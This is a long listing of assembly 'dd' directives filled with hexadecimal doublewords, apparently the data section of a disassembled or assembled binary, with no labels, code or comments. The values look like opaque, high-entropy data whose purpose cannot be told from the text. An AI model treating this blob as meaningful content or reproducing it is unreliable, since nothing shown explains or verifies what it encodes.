dd 0D76AD857h, 1500411Dh, 5887F20Ch, 112B923h, 2F7CB0BEh
dd 40BA4782h, 0E1EC80E0h, 1ED81100h, 0D33F6B28h, 0A0DF7EF9h
dd 25645B80h, 0F829F085h, 0D3288Eh, 0C3849438h, 0E7006A71h
dd 9688F39h, 0B9CCEFh, 0C57CEA96h, 9392BCF1h, 576B4300h
dd 0F45C8E22h, 0F5E00EFh, 3BBFCA1h, 700A7D1h, 0D7778AB7h
dd 8839A6h, 4D30D228h, 0A8C0A082h, 27006892h, 7880217Ah
dd 0CDE77C4h, 9596F8C8h, 4E789D98h, 9F0B137Eh, 22212325h
dd 80ABA5B4h, 2CC4B20h, 0D44D3A37h, 0F6E12E00h, 6799C6E5h
dd 0E9854417h, 7FA3A200h, 235C311h, 0DEF0DB98h, 28832425h
dd 0BCC230B1h, 0F56CBB80h, 0FCF1358Bh, 2D01EA42h, 0CC2C77F1h
dd 90852609h, 1BEA006h, 2B44F40h, 256C5831h, 9B302250h
dd 180C38C0h, 3869758Ch, 0EC87CD26h, 69DC8D53h, 6163E440h
dd 7B0C870Eh, 629DE625h, 7AAD1048h, 0A2F8071Ch, 3DC2BB45h
dd 0EC2A2020h, 0ADE0EB99h, 15D00901h, 4801F5A3h, 82342990h
dd 2EE1072h, 0FD22D595h, 40582431h, 9C88AC0Eh, 4E6F076Ah
dd 703323E5h, 5CDCF928h, 0A9B4531Dh, 4F40BBDFh, 0DD0750C1h
dd 0BE0C008Bh, 96E25136h, 9D00996Eh, 0B9940454h, 0B0B48440h
dd 0E5381E88h, 789B4BEEh, 9671C80h, 9506153Dh, 0CBCEFF6Fh
dd 0B96203EEh, 69EC934Ah, 313B2908h, 909F003Eh, 3CB67D20h
dd 30ACFF2Eh, 2833303Fh, 33AE9DB5h, 30183DD7h, 0E5E75A0h
dd 2F6B8C00h, 0E86572CFh, 231E09FFh, 0DC8018E4h, 0FBA13263h
dd 1B7EC17h, 0E079C033h, 139BFEBh, 0FF7DA20h, 0FC011C4Dh
dd 2C1F3ACBh, 242E71FAh, 0F84A95h, 0FFF39073h, 0F6BA533Eh
dd 78170303h, 49C0DD6Bh, 226028CAh, 0B300CA1Fh, 995FEB1Eh
dd 22C7E8h, 0FA7BADD2h, 0C81474EAh, 3CF02002h, 81B1A0A4h
dd 54D1D49Ch, 43002472h, 0D2C8FD3Ah, 412AB57Ch, 723F8404h
dd 0C2EC8730h, 84F7DB6Ah, 3780E0BAh, 8B738A98h, 0D75C00F4h
dd 0AA0C3DC0h, 0FF008FB3h, 0B068E0EDh, 57F6719h, 0D5F78382h
dd 72C882AEh, 5600F354h, 32C69E10h, 943500F8h, 748AD0E1h
dd 69002548h, 0A9627134h, 0B48256A2h, 0F5060090h, 3BE596E8h
dd 0B4AAA1C0h, 6CC0290h, 79DC89A9h, 0EC80E897h, 3E001C87h
dd 4472B6F3h, 4B7D3A7Ah, 43A41CC4h, 9F115DF2h, 0ED53D680h
dd 0A0965600h, 367D326Bh, 831F0699h, 30658FC4h, 0B4878B00h
dd 7397D838h, 190B6014h, 0F80CB7FBh, 0A62D5124h, 0EB64100h
dd 0C2CE70h, 0A57D1049h, 0F0F35E8Eh, 0B80F5F00h, 0C13A52FFh
dd 44A04803h, 891CB707h, 0E554A286h, 4EC508C0h, 8B99053Ah
dd 7D9847h, 0CBDB7E6Fh, 41112885h, 50779Bh, 36EA275Dh
dd 62F0AE81h, 34B0A800h, 58BB08AAh, 1F183E4Ah, 9BA9EB81h
dd 7CCA5375h, 78A44C1Ch, 0BBFA8F00h, 7DB5AA3Ah, 82E400F4h
dd 4839CB0Fh, 700098E6h, 0B0A75C73h, 0EE64A68Eh, 3BCC00D6h
dd 0EF169E21h, 7B3D67E7h, 0FC5C967Ch, 4E08B20Fh, 6240DD57h
dd 6EAA8F1Bh, 2F6EADFh, 76A434BDh, 30E0AB5Dh, 2600172Fh
dd 45CFC1F9h, 7FCD40h, 6E19E2FFh, 6809C210h, 4CA03C58h
dd 940A28B8h, 0B70A2B98h, 94F17B75h, 0A5746B80h, 0C9533Dh
dd 0EF07093Ch, 3918D0ACh, 910462FCh, 5E47B91Ah, 377901C0h
dd 8BC048EDh, 48853207h, 8257A0BAh, 1216DEE7h, 681F24D7h
dd 91BC9680h, 0E046690h, 2B33A9CFh, 72FAE1A0h, 0BD00374Ah
dd 3D4B85F1h, 7C09CBh, 0D62F6731h, 0CFE9CD24h, 711648h
dd 84B64773h, 63F59Ah, 2045C6D2h, 0AA0B2CB5h, 0BE584200h
dd 40317664h, 727D07CBh, 222D99DCh, 27E03A1Ch, 0DE008CA1h
dd 5FC7DF90h, 79C6F8h, 85A5506Bh, 83FFAA94h, 40109090h
dd 4C1304F1h, 208420BDh, 6919520Ch, 0FF10770Bh, 0AA2CD8h
dd 0CEB98460h, 26B1E186h, 9007C830h, 138089ADh, 1CFC37D9h
dd 55B7407Eh, 4364EA08h, 0A36D530Ah, 700BC52h, 54AF6FD6h
dd 4C1C00C1h, 0CEC8BCC4h, 623F9431h, 4BC98F77h, 258EA037h
dd 0C0FC63DCh, 4EC25DE8h, 872E5FB1h, 75811092h, 0D243240Eh
dd 4F0F9C20h, 21B01ECCh, 60EDFC89h, 0E6A298h, 0DE9C74A1h
dd 0EB8F5AF8h, 842C903h, 0E8067B9Eh, 22364Dh, 89DF5793h
dd 20BCBE28h, 584CFD07h, 0C1307EBAh, 627B01B3h, 404380A5h
dd 30EDFC0h, 0D3798A00h, 29DB48C7h, 27990130h, 5063DDF8h
dd 0BAEDCC9Dh, 0B8A92F00h, 7CE2F27Dh, 3ACA090Eh, 9800E445h
dd 0F0746EC0h, 7AB0A64Ch, 10C3202Eh, 43FB813Fh, 97D94BEAh
dd 634F8C4h, 6E513F65h, 3A00E8CFh, 137B9B5Fh, 3E23B5h
dd 25AAB4D1h, 91C1CDF4h, 3A00C2F4h, 0DF8DD9BDh, 5F0FEDBh
dd 0EC73A1EFh, 7B1BC056h, 0AB4AE45Bh, 4433C00h, 7EA7718h
dd 34D247E8h, 70818705h, 6B3DF6A1h, 0BECC081Fh, 0B200E868h
dd 0E99924F4h, 0D4A6E2h, 62470E37h, 0D6B7FE54h, 0C9291D01h
dd 4F5C36E1h, 0B5BAB087h, 26421075h, 0AE1C8279h, 98DE1E64h
dd 0ADE200FCh, 0B4DD4B46h, 0E17029h, 0B1429734h, 5513B69Eh
dd 9AF2500h, 616E8599h, 0BF3407ECh, 90C13CD3h, 0EA4DD62Eh
dd 0C7D7F817h, 0F6F1F700h, 0E7404EFh, 2A17D54h, 36F200D3h
dd 0E4903928h, 4D7AA203h, 0D066C4C6h, 26D3011h, 6F89C90Fh
dd 0C041385Ch, 5DA07443h
dd 0CD0309EAh, 812E77B1h, 0B4CC7FECh, 0BB0E0014h, 36672420h
dd 2598A207h, 0D3006A94h, 5C4727CDh, 6E003718h, 0EDC11B3Eh
dd 417E4F71h, 25000498h, 96BB3B63h, 285279h, 81429BCh
dd 0DCF8DA87h, 0C4D06251h, 9C0F9BB3h, 414AFE7Bh, 65FB8A20h
dd 8E00883Ch, 0AE909E6h, 7C017912h, 8178A3C8h, 60E6AAA0h
dd 6DE61Fh, 2A9A98B0h, 0C4658376h, 0A2A5EE04h, 0F0A0F58Bh
dd 0BABD2615h, 5218004h, 0D076F2BFh, 0D51234B6h, 0BA4FA800h
dd 0FBFDD723h, 0E8822880h, 735C11E1h, 0CB54BF78h, 8C008698h
dd 1B9DBEF6h, 0EF442h, 3E56B871h, 342A91BDh, 70820F00h
dd 0C12EEA5Fh, 263B00D6h, 0D9880914h, 7CA6FAF7h, 4D006898h
dd 44D5944Fh, 75DF2Fh, 0DD6F458Eh, 0C779E11h, 0E781F700h
dd 2CA6CBB5h, 0D89867h, 9ACA8F07h, 1421D69h, 41732500h
dd 1FE0A4FAh, 0E37F00BBh, 644BFE3Ch, 2C143702h, 788A72Ah
dd 9ADF20D5h, 0EA853A40h, 0E384A863h, 0B430C812h, 32084D18h
dd 0B97D00DDh, 5CD5AAEFh, 0C401D087h, 0F8A8BE9Fh, 202C98A5h
dd 0E3C8DE0Dh, 0B50AF058h, 19DC3205h, 0A0C18FD2h, 8F0DEE2h
dd 0CC400A76h, 4E8DADDh, 0A03A8BB3h, 4D0830ECh, 40BFA077h
dd 80211727h, 0CA3EC4EEh, 0B609748Bh, 52610489h, 0C29F3EA0h
dd 8078D730h, 0E73E7675h, 0E6E00A1h, 2D90C535h, 0EBF50081h
dd 4D8AC2F9h, 0C70195A7h, 0DAE9041Ch, 0CE3AD2Fh, 90DB8471h
dd 0C6B863C8h, 3AEC4F38h, 0A09203EBh, 95D9CC4h, 0B2DB8A28h
dd 38278100h, 0F3F89D7Fh, 49DA7E30h, 14F8E65Fh, 0ACD15307h
dd 4FEA1680h, 8B00FA9Eh, 0C1D7D48Eh, 778686Fh, 0C5CCC896h
dd 0D0D03DC4h, 0F30C956Ch, 405F137Dh, 87660ADh, 15E32BA3h
dd 3E60CD0Bh, 0F81820F2h, 294F02Fh, 0B6777847h, 0E840E7BDh
dd 3F38A044h, 0F051A908h, 0C87A0201h, 0D09C687Eh, 251139h
dd 0CE44F46h, 1E1A81BBh, 403817FCh, 7F3420ACh, 620F0DDDh
dd 3FC2C107h, 0FA0803Ch, 8F6068B2h, 461F00D3h, 6C920B85h
dd 200D165h, 0D570F763h, 2E204E8h, 0C9D2C5AFh, 0C849F175h
dd 0D9BF6048h, 3CDB593Fh, 0AE7780EBh, 5F3F9F3Eh, 2450F076h
dd 2F39370h, 546EED5Dh, 0E468B88Ch, 7495B000h, 196A0276h
dd 0CDD0A89h, 9984432h, 407A29F3h, 0A9FCF12h, 654ED4B4h
dd 82DB195Eh, 0D8A06CEFh, 0EC456E21h, 0C8753625h, 0B8F85704h
dd 415E003Bh, 2CEE977Dh, 2B0E47F5h, 0E31278E2h, 0E87559ECh
dd 60A317h, 8014B909h, 88819B2Dh, 80A16A39h, 0ABD7D542h
dd 83138Ah, 0EEF6D1Eh, 0D024B292h, 80CA48h, 0BAE4DAAAh
dd 0EACCC9h, 38452F2Dh, 46C21B6Ch, 88B9FB00h, 49305B1Fh
dd 11600A3Ah, 30DB5036h, 5CE38730h, 0ADBE9E0Fh, 0BD8E97h
dd 0BC7C0F3Ah, 0B7520EDCh, 84A0F99Dh, 3148DF0Ah, 0B3D4F300h
dd 11368140h, 0E63E0097h, 0D1D2C39Dh, 0F3057B24h, 0E10B4EF7h
dd 0C2B0AC80h, 14F63C42h, 7FE2FA80h, 37BE02FDh, 7CC8D00h
dd 0EE74887h, 0C1CE00C6h, 7DFD4B35h, 0FC0025DFh, 0C2FB498Bh
dd 27DB44h, 9626139Eh, 9ACF9743h, 0EA1588E4h, 0E204A166h
dd 4148884h, 0BB81F87Dh, 4910AA60h, 7A709110h, 7C2E413h
dd 0D3172B1Ah, 82042035h, 0F31DC0B4h, 87184666h, 88BFB729h
dd 60893BA0h, 8F44F708h, 0FA22845Bh, 118C423Ch, 0BF218E13h
dd 903A4F08h, 8A798478h, 27428348h, 2124243Eh, 6712888Fh
dd 89424D10h, 44730890h, 22848B22h, 3C424D3Bh, 2F10EA21h
dd 489B5B84h, 1CD742E8h, 1F213324h, 11541290h, 0D722FA39h
dd 8E4D22BEh, 5584102Eh, 80FB4818h, 3B9F0D49h, 0D900A2B8h
dd 97DE82FEh, 0FA1D41A4h, 42F31F91h, 0CA92C0C4h, 7BDCA030h
dd 9BDFA800h, 64D16103h, 0B980EABh, 0B2A0798Eh, 215AF98Fh
dd 84ED9207h, 1972F86Ch, 6A2AC03Bh, 0C4D5004Dh, 2EA71FCDh
dd 707FEB91h, 37B85B00h, 988039E1h, 608D00B2h, 14EC6C47h
dd 2B00DD87h, 5EF26218h, 0C23F81h, 513EF11Ch, 7E79CFD0h
dd 30233900h, 4AB304EFh, 9BE457h, 0BBBCCC41h, 228FA097h
dd 11719200h, 45932776h, 2BE71291h, 0C65C4043h, 0CF6ACB37h
dd 5F986400h, 0C47144FAh, 8E54003Dh, 8CA90896h, 1303C29Ch
dd 26DC2C60h, 0E5B4A81Dh, 0C117933h, 9615C76Ah, 13902A68h
dd 3DCE9718h, 88B12068h, 0A6003679h, 85331E8Fh, 0DF7FA8h
dd 0D9C1FD4h, 0BB890B8Ah, 0B5477E00h, 2E05B287h, 512C00BFh
dd 0D1866F2Fh, 0A100773Ah, 3D129354h, 0E9CF4h, 4D836089h
dd 0BDC738BBh, 0A51AA0A0h, 4F92490Fh, 2B66096h, 0F11F9Dh
dd 554CAD06h, 0BBAF7FCDh, 43EF507h, 42C5D60Dh, 0E41A400h
dd 3D39F69h, 94E250F6h, 0D190338Bh, 0BA00190Fh, 3CCFC432h
dd 3ADB3E6h, 2E25CB50h, 90B76907h, 665DD92Bh, 32843450h
dd 6E06CF00h, 0EDC1EBD5h, 56BB1EACh, 75C8120h, 0FC24AB4Fh
dd 0F3077D8Eh, 0CF0427B9h, 6082F632h, 0D12024h, 0E492FEAh
dd 6906F2A6h, 75186400h, 42A598E1h, 8C4F01F8h, 6C7C76C6h
dd 0AB33EC5Fh, 0AD7F2D00h, 650797DDh, 0B5620137h, 35AE46EBh
dd 594C20E0h, 0F5A01100h, 0B742165Dh, 0CCF009Eh, 89E170C5h
dd 103B81D1h, 0DEB4891Fh, 0CB7800F7h, 9086A2CEh, 6B9F0F50h
dd 0A5007CBBh, 15143335h, 0BE3D2200h, 0AB3B72F6h, 661100E2h
dd 42B2BD10h, 32009430h, 398AE790h, 11D743Dh, 34EB407Bh
dd 31DF2C8Eh, 20CDC19Ch, 68009153h, 39D34CB1h, 70FF2E21h
dd 2FBF0EA8h, 1B6052A2h, 0C1DB0FA1h, 0B7857800h, 6A6CAA8Ah
dd 209D6040h, 0B2809CF0h, 244DC001h, 0FDEE749Eh, 75EBEF4h
dd 259B96C9h, 0E963F0D0h, 5F304E8Eh, 680B389Eh, 0F64B00B8h
dd 64DCECC4h, 7B0F70ACh, 476C0CBAh, 0EF50E990h, 980D185h
dd 0CD8C5181h, 0FFF880Eh, 41FF6DF1h, 0C80839F2h, 29D0CC27h
dd 5C10A804h, 0D8809E32h, 70B5922h, 0DC95DE78h, 0DDCF4F15h
dd 0F0B53280h, 4B01647Bh, 0C70FECC2h, 4C304D9Ah, 0A9510001h
dd 7128A87Ah, 2702B85Eh, 0DFB77EF4h, 6C144083h, 1B3E02ADh
dd 0DEFA09D8h, 4B8D480h, 2C04BD61h, 0E3E48E71h, 0FADC8B87h
dd 47DC007Bh, 1633BFFh, 0B0003F1h, 0D9B32BB9h, 24AF923Fh
dd 214E159h, 0F84CA54Dh, 2EA71018h, 3EFD61C4h, 6F04A10Ch
dd 1B0E585Ah, 43794871h, 9353C72Fh, 28CEC0BFh, 855200C2h
dd 0E9302C27h, 0C024BFFh, 2BE80EA8h, 500860CAh, 0D2EAEDh
dd 9157AEBCh, 43B45A19h, 891CE500h, 2966AF0Bh, 601207EAh
dd 605176B9h, 0C258D56Ah, 20C7ED00h, 0E7DD77FCh, 87850F94h
dd 9360E67Ah, 8FCE861Ch, 34FBE200h, 4F6B71FCh, 94B4004Ah
dd 0DA0D80FDh, 9498CDA8h, 77C1B700h, 0E1D3E78Ch, 2C7A009Ah
dd 226292CAh, 99018E55h, 47AF2474h, 0BC408926h, 0B00B4130h
dd 0B6860104h, 739A58A2h, 0E81120C8h, 28479505h, 0F4003CA0h
dd 682EFC4Ch, 3B7004h, 0A52DBD0Fh, 72C774D7h, 0B6FBC502h
dd 80DE4583h, 106129BCh, 0D7A70351h, 0DD383975h, 0DC83E4A0h
dd 0DF368800h, 7F9C72BBh, 0A4A50093h, 46FF74B0h, 2E748564h
dd 480FCA1Fh, 0F2C28A80h, 738D5Dh, 6452265Eh, 0BE608C31h
dd 0EBBF5700h, 7328685h, 0D83F00A1h, 142546C1h, 0FE001702h
dd 499A2060h, 7137336h, 0F33304A8h, 9CAD0D4h, 0A401D0E4h
dd 986DF41Dh, 99603585h, 0A972009Dh, 6FF07094h, 8EFC1CAAh
dd 2D00D9B0h, 0FF5687E4h, 0EA9309h, 0B74A83A5h, 4CBDFD39h
dd 91DE6800h, 0D40766EEh
dd 720A0067h, 4EF7831Ch, 0C5787B0Eh, 353AAD00h, 423EE043h
dd 927196h, 0C92EEA5Dh, 0A53761F0h, 0A89CFA0Fh, 0C8620AC8h
dd 4056540Fh, 0BFEEE4D6h, 46E500F6h, 0A5D1A167h, 0DD018C63h
dd 0A0331003h, 0C6C0DA3Dh, 0B1C53C75h, 2D2CFF80h, 2AB92476h
dd 0A10CD801h, 29D281ADh, 0D13990C3h, 0EB130041h, 6AFF8F51h
dd 1009A6E1h, 1058EDC7h, 4AF6B6Ch, 38BC2BEh, 0F018C072h
dd 0E6001E2Bh, 269FD5ECh, 0F1615CEh, 84399285h, 0D854A8A0h
dd 0BC00D124h, 0F37849B5h, 70F12C61h, 92CB079h, 4BF27A41h
dd 0C7DEC080h, 50AD243h, 0F056551Fh, 2F7A5B00h, 1F86EA4h
dd 4B8930D9h, 0F87D53C5h, 0E900F0B2h, 681124B5h, 1659CDDh
dd 4CA44D6Bh, 0FCF20450h, 0F10042F5h, 91C0A862h, 0B8A196h
dd 6980188h, 9E2FE5C7h, 0EFD91300h, 23CEF3A0h, 3DE00EBh
dd 0CF0A687Dh, 0E200B8C6h, 0DD1E08A8h, 581F49h, 96A76EEAh
dd 1F0295Eh, 64326263h, 0C35C909Bh, 0CC525051h, 61F21E65h
dd 1C300098h, 0A66C744Fh, 0C13ACC1Eh, 0F6000EAEh, 0D0AA3941h
dd 2C5E1C75h, 55A2C05Dh, 0FD342585h, 0A68D4C3Eh, 0EB051BA7h
dd 0CC422F73h, 16A4D98Bh, 9C5720h, 0C0FB6E0Eh, 6C35A4E6h
dd 631C3B79h, 5C164FCh, 0CE2F939Fh, 0D27F41C2h, 1EAF1C70h
dd 408F2865h, 444090E4h, 46007F55h, 756B99B5h, 0E0A9A4h
dd 0D175B72h, 0DA23BC3Dh, 2C09383Bh, 8300D2EFh, 8C96360Eh
dd 5C7F0078h, 0D5067B7Dh, 0A476C6F6h, 551C2500h, 50D8F803h
dd 0C43E00DAh, 725A1B4Eh, 417EAE1Fh, 0A4B4151Eh, 0FC3CA00h
dd 0ADB923h, 98FAD2BEh, 8D210587h, 0A40AF705h, 0E580D8EBh
dd 1A1600Dh, 0C55097D7h, 70F94431h, 57033BD0h, 99AFDBA2h
dd 617190C9h, 3360002Fh, 0EA8C58A7h, 0FB000337h, 0E4F4BA42h
dd 9F4628h, 0C4FECC41h, 2CB69476h, 71810D00h, 0F154ED07h
dd 0AEF700C7h, 709FC004h, 0DA059CE7h, 982C0D1Bh, 4CBE5480h
dd 0DC9E5817h, 0A4AE540Fh, 0B978EE20h, 0CCA090F5h, 0BB078742h
dd 0EB149258h, 9E8038C5h, 0ACE7BEh, 18F32A67h, 30FFC4A8h
dd 7AC5F400h, 65981BC2h, 0C60501BDh, 120F7C45h, 23E0FEDCh
dd 79032E5Ah, 0F9CC37BAh, 53CAA0C9h, 0A7C2039Ah, 8E8C33B7h
dd 7A58A8C8h, 861E18F0h, 0C0436355h, 0B085CE9Dh, 9D59A76h
dd 7E39A8D9h, 2CE1E401h, 5B6E60DBh, 5E6E4A0Eh, 17001D6Fh
dd 0AD48F994h, 6945248Ah, 0DCAE0352h, 0C9F8118Ch, 0E500073Eh
dd 0EC50845Ah, 4835136Dh, 1008451h, 0CD1BB315h, 0D200A0B4h
dd 9160ED90h, 0FED526B6h, 967A1D63h, 954C0BCh, 0B9DC085Bh
dd 0A1711D00h, 0CA99BB79h, 43F20061h, 0EF5EE23Bh, 9780DCBAh
dd 0C029427Dh, 13C7C415h, 68C35C66h, 0CBDF5100h, 9F96039Dh
dd 7DE303Fh, 91624AEEh, 4754002Bh, 0ADD295h, 852E344Dh
dd 32A2EA89h, 0CF159F1Fh, 7FD96700h, 73697h, 0D7F1C7F9h
dd 0EBB7D260h, 4D328D00h, 0E8C27B4Bh, 0CEA901D3h, 1D7A28ABh
dd 66D280A3h, 5C052A92h, 0E5F063h, 0D9200D07h, 0D29B89BFh
dd 1C43A103h, 0B83D0549h, 0BFF279Ch, 7516181Fh, 3100D00Eh
dd 76AC4F1Bh, 67128900h, 0D53843B2h, 45F92C40h, 0E6B01FD9h
dd 4C5C07C1h, 8B14E03Fh, 8D00220Dh, 44A778BDh, 3D554217h
dd 0D52EE6CCh, 70F9808Ch, 5C3DF5C0h, 1461FA00h, 7C6DA74Bh
dd 0D7B5147Dh, 3003A4C5h, 102D6771h, 41546EE0h, 6114F07Ah
dd 3C48D91h, 1D0C465h, 3110084h, 30631539h, 99003F06h
dd 0CE4037BFh, 123BDC4h, 887941FCh, 0C803A968h, 360695EAh
dd 673C2816h, 6CB10FF0h, 0C3206073h, 0D73899C5h, 2258E500h
dd 0F79F6707h, 134500D6h, 0A50405EAh, 24F20BF4h, 0C100E0B8h
dd 5C9EF9ECh, 305234Dh, 0B379EB39h, 2000254Bh, 3317792h
dd 13A3D867h, 0C037434Dh, 50075C78h, 0CD70C960h, 1751E8EDh
dd 0F20F871h, 0BD4FE2DCh, 3025F400h, 99006FD7h, 3986A7EAh
dd 0F456A2B7h, 143F0043h, 0D4927F79h, 510060DDh, 0F9B0692Fh
dd 2CD90A21h, 0B4B359h, 8EC14F45h, 0C41D6ED0h, 2740461Bh
dd 248361D5h, 0BCFAF6h, 0BF0CFA40h, 35AF895h, 0C9020FFCh
dd 2531288Ah, 0A1F8C0BCh, 3A8301B1h, 6A6D783Ch, 0CBE3202Bh
dd 5D428400h, 7923F774h, 0D7CE00E0h, 0C06DDCA3h, 0D100AB33h
dd 5D70C972h, 5E7464h, 0E2273FFBh, 20794B51h, 38948C00h
dd 0D66BA510h, 0B49B000Ah, 0F553380h, 96049916h, 4FC635D9h
dd 7CF40E4h, 1542025Eh, 7AAAF39Bh, 0A4BBE90h, 0CC2AC200h
dd 933B922Eh, 0BFE1Ah, 94A70D2Fh, 0EB38E0E3h, 6DC7360Bh
dd 39D600A2h, 1E0F4D60h, 46DB0E66h, 98D36A46h, 0D1BBE904h
dd 0B7C08D23h, 39BF9B6Dh, 9F001C8Ah, 59C2F7B6h, 0E00C42Dh
dd 37EDFD52h, 399C47B3h, 7686438Ch, 98D79DB0h, 0F4C95800h
dd 87C383E1h, 2B4A0791h, 0F017E28Dh, 0DA7507EEh, 5BBA8A00h
dd 50F341F4h, 768F0425h, 0ACCB5323h, 29FB002Ch, 0FAC551A9h
dd 59B0AEh, 0F6A249D5h, 0EA528E96h, 2A38B004h, 0C4C032B5h
dd 2E39E883h, 3E56697h, 37C7AE60h, 6BF3F6C0h, 4FEC9100h
dd 2416310Ah, 50F4ACB2h, 2C97E5h, 0A45C8012h, 557DE0EAh
dd 2A1D4800h, 6BE2FB96h, 6E460102h, 9BD59FE9h, 1D617015h
dd 0A1C0CE0Eh, 66F1A382h, 18889C51h, 0F4EFA6Bh, 472764BDh
dd 0EAB01420h, 7F00A013h, 2842FA5Fh, 0FCE0E67h, 6616FF32h
dd 4710D80h, 0F63DD436h, 3FC801C9h, 0AD0B46BBh, 137E35C8h
dd 0EF9E9957h, 0CBF1F700h, 59B47Bh, 0A5302AB8h, 3712A409h
dd 0DF941F00h, 3A476FA0h, 0E8510080h, 92C2D271h, 88752D0Bh
dd 13BE9626h, 4FD0BB00h, 2E34263Ch, 6F5922h, 2FA274A8h
dd 5D0060D4h, 0C7751A97h, 0EBA61C2h, 0E4F82E0h, 7E2CD980h
dd 0B00BFA45h, 61DD7135h, 0D3D83A6Ch, 0AA3C0031h, 8305BFB4h
dd 60028FE5h, 26FAB013h, 0A094E309h, 982238A6h, 0C74C021Ch
dd 76DB36F6h, 375C0860h, 0FD7C9F16h, 0F0570883h, 3CF6AC4h
dd 15942E8Eh, 0A6B0D8B0h, 0BE48754Bh, 8EDD3B99h, 0A292659Fh
dd 0EE4CF407h, 0AFCF0024h, 0E26F6D8Ch, 0E81D30E4h, 0CB80397Dh
dd 2747874Eh, 758B00B5h, 0D17F2083h, 0D201B3A7h, 0C7AB899Dh
dd 0B5ECF5AFh, 9F7F438h, 84A25815h, 5CA6B460h, 4CC3FB01h
dd 1FB15BC6h, 7F6830h, 0D573413h, 0C3C91135h, 8F07A4FAh
dd 0CD2CF026h, 0DA04C250h, 36270373h, 55731E8h, 0B7150290h
dd 47A92D0Fh, 8EBE43DCh, 8471E890h, 0FB88A0F4h, 627296h
dd 5989DD70h, 16EF9E31h, 18E6F300h, 0C377AA4Ch, 0FA0300BBh
dd 5E926B4h, 8C39845Fh, 54B689BEh, 0C7881077h, 0B11617ADh
dd 0C4C00063h, 15326880h, 1E0330B6h, 98BC1D37h, 1C772AACh
dd 0AE1784A7h, 40111DB8h, 332C4E49h, 40056ADh, 0A144F83Dh
dd 0FA2B052h, 2EB40FA9h, 21C7AF81h, 0BE37F0C2h, 50CAA03h
dd 0C859B050h, 17AC2C40h, 5E0F46h, 79B8884Ah, 8300E7D2h
dd 1FAA8DB6h, 900BFAh, 9DC143EEh, 0C477C0CFh, 4F15FD2Ch
dd 0DBF09600h, 48B7C8D3h, 9F093594h, 0F0803F0Ch, 8D46BED4h
dd 0B1C860F7h, 0D8983825h, 5D5909F7h, 1800F777h, 1F3A37CDh
dd 910CF100h, 2AC82EF3h, 0D7A603AFh, 0F71C581Eh, 4BE2C090h
dd 13BFDB00h, 7D163932h, 19000A6h, 9394F9AFh, 0F1163D17h
dd 0E500FFC6h, 0BAE2B769h, 61450EDAh, 1600B97Ah, 708F46EBh
dd 0F7E1CB00h, 1EB518E8h, 2C070EF2h, 6DE511BCh, 1702C0B2h
dd 2200B9F8h, 0B0E28692h
dd 24DC87Fh, 0ED1FB36Ah, 39C04A16h, 0CE005FBDh, 8EF913A8h
dd 60F3AC9Ch, 7E70EE74h, 8D032617h, 0D4A7D3F2h, 0BE2EE859h
dd 16610066h, 0C44B69C5h, 0A9002B4Eh, 513C99DFh, 0F2B0949Ch
dd 7919605Ch, 0DD2CA8Dh, 0D4BBDC01h, 0C3B78E20h, 259F4E8h
dd 0FAF83008h, 6760DE13h, 42004EFFh, 0DD2276D7h, 3FF4CD55h
dd 1600BD72h, 0A1DFBAE0h, 3300FADBh, 0C859EDBEh, 90A5B1A8h
dd 0E6870086h, 0ACB1BDFh, 2D60070Dh, 0D8E1596Ah, 0B7B0069h
dd 3CE7DF49h, 0BC024306h, 0B9FB8304h, 7D3C60F0h, 2037009Ah
dd 56F3D829h, 0DE00740Ch, 69A9D214h, 16FDDF86h, 0C24119h
dd 5884D6E6h, 0ED011A36h, 15EC1D1Ch, 0BFF4E545h, 535D0507h
dd 0C0E2876Bh, 0ACD123B8h, 1F40D301h, 62AA8455h, 72CE6474h
dd 804E0E7Fh, 56802822h, 0D0C032C4h, 0DE7BF6F2h, 76F0EE0Eh
dd 4AFD84E8h, 0A44C8EC0h, 890601B0h, 2AFC52A7h, 0F2BB2022h
dd 0A6008F90h, 32E681F3h, 0C3F602h, 0FD0B54CEh, 63133EA0h
dd 0AAD06202h, 0D8C70CF2h, 0F5C63F88h, 5089A039h, 0DC205B7Ah
dd 0D2F3BC2Eh, 8E003F76h, 51618F79h, 99F6CFDh, 46863D71h
dd 922FD400h, 8E000259h, 0F48C5061h, 72AEE3Eh, 13F67D72h
dd 0B9803F1Dh, 3AE5D628h, 84DB52h, 7566DAA3h, 127EA469h
dd 80256D9Fh, 7BACDB30h, 0E217301h, 8E4E5F33h, 39F92C40h
dd 0F7E0EDCh, 0C880B079h, 822BDE93h, 19F2A803h, 3AF366C6h
dd 0D730FA21h, 7723B880h, 2D902400h, 70E5AA36h, 0C97F0015h
dd 0C5AC12CFh, 1716381Ah, 1840F37Ah, 63603749h, 2AD300B5h
dd 0AFAE5982h, 0C873EE9Dh, 0FCE24200h, 538B3385h, 8C3D016Fh
dd 4D3A3896h, 0F39440C6h, 2B1EED48h, 0A70001EEh, 1676BD14h
dd 0FC6D007Ah, 0A309B540h, 0C061ECA2h, 0F4E6A170h, 0C4609854h
dd 670B59h, 5105CFE5h, 4AA895B8h, 1F3F2A00h, 3686F7A9h
dd 0C1A8D99Fh, 0B88F092Fh, 0A897BAD0h, 0A47B0092h, 2EEEF5CEh
dd 0CB4230B4h, 0A7799660h, 0CC15C22Bh, 0E1188000h, 3E785E52h
dd 58C97DB8h, 83D23907h, 0DF05509Dh, 96C82Ah, 0F7CA5300h
dd 13B7E02h, 26B951A4h, 0FA67EBD4h, 904050A4h, 5501B04Ch
dd 15EF5C03h, 0C0EA2BA0h, 0E725F5h, 0C636C710h, 67C4713Dh
dd 93A9C124h, 0EC06FE00h, 739803Fh, 0AC59F3FAh, 0FFAF00BCh
dd 75018932h, 42D99DE6h, 3CC8B79Eh, 0DCF3008Bh, 18613978h
dd 91007F9Fh, 215977A7h, 0BC5ED6Bh, 0BC222746h, 0C15EE8A0h
dd 0E0319073h, 97BD58A9h, 0EE6DC8h, 0B1B3F445h, 0A638B818h
dd 0F6CB8200h, 225A2165h, 56780BF3h, 1636h, 40B102EBh
dd 0F1A42B1Dh, 0A8280E82h, 526C4835h, 0BBBFAB4h, 33B671EAh
dd 30AC34E1h, 730FF090h, 0CF7BD320h, 801E6366h, 19C3B833h
dd 6820ED7Ch, 0E53F0054h, 0EBF0DDB5h, 74F091ADh, 5150E00h
dd 25C6231h, 4D5E008Fh, 0B21CF06Eh, 0E003986h, 0EE47AE73h
dd 0CF78C4h, 95C2976Ah, 99A87668h, 0B756409h, 0AC1C24AEh
dd 3F0BD0A9h, 0D4009BF2h, 157CD64h, 9FB71907h, 3930B1A9h
dd 0F80878h, 0A4E82625h, 4D06F235h, 7CC26000h, 0E18590E5h
